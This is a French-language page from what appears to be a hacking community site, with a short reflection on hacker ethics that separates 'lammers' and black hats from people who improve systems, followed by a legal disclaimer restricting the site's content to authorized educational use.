C'est vrai. Mais il y a différents types de pirate.
Tout comme il y a différents types de personnes.
Les bavures courantes auxquelles on pense lorsqu'on évoque le terme de pirate informatique
seraient les hacks de compte msn, ordinateurs lâchement trojantés avec des exploits déjà tous faits
et encore peut-on classifier en tant que hack le fait de spammer
alors que depuis plus de 15 ans des scripts tous faits le font extrêmement bien?

Ce ne sont pas des hackers qui font ça!!!
Nous appelons ces gens des lammers! Quand ils sont mauvais,
ou des black hat lorsqu'ils sont doués dans la mise en application de leurs méfaits.
Aucun amour propre - Aucune dignité
Agissent par dégout, vengeance ou simple plaisir.
Les raisons peuvent être nombreuses et je ne prétends pas devoir juger qui que ce soit.
Je pense juste que l'on ne doit pas utiliser l'épée de fly pour commettre des injustices.
Il est 100 fois plus profitable d'améliorer un système que de marcher sur un château de sable... même si marcher sur un château de sable est rigolo :P
A vous de trouver votre amusement. ;)

Tu peux réagir sur la shootbox


Disclaimer Veuillez lire obligatoirement les règles ci-dessous avant de consulter ce site.
Conformément aux dispositions des différentes lois en vigueur, intrusions et maintenances frauduleuses sur un site, vol et / ou falsification de données.
Vous ne devez en aucun cas mettre en application les stratagèmes mis en place par ce site, qui sont présentés uniquement à titre d’éducation et de recherche dans le domaine de la protection de données.
Vous ne devez en aucun cas utiliser ce que vous aurez découvert, sauf si vous avez une autorisation écrite de l’administrateur d’un site ou que celui-ci vous ai ouvert un compte uniquement pour la recherche de failles.
Tout cela est interdit et illégal ne faites pas n'importe quoi.
Vous acceptez donc que l'administrateur de ce site n'est en aucun cas responsable d'aucun de vos actes. Sinon quittez ce site.
Vous êtes soumis à ce disclaimer.
ET À CE TITRE, NI LA COMMUNAUTÉ, NI L'ADMINISTRATEUR, NI L'HÉBERGEUR, NE POURRONT, NI NE SERONT RESPONSABLE DE VOS ACTES.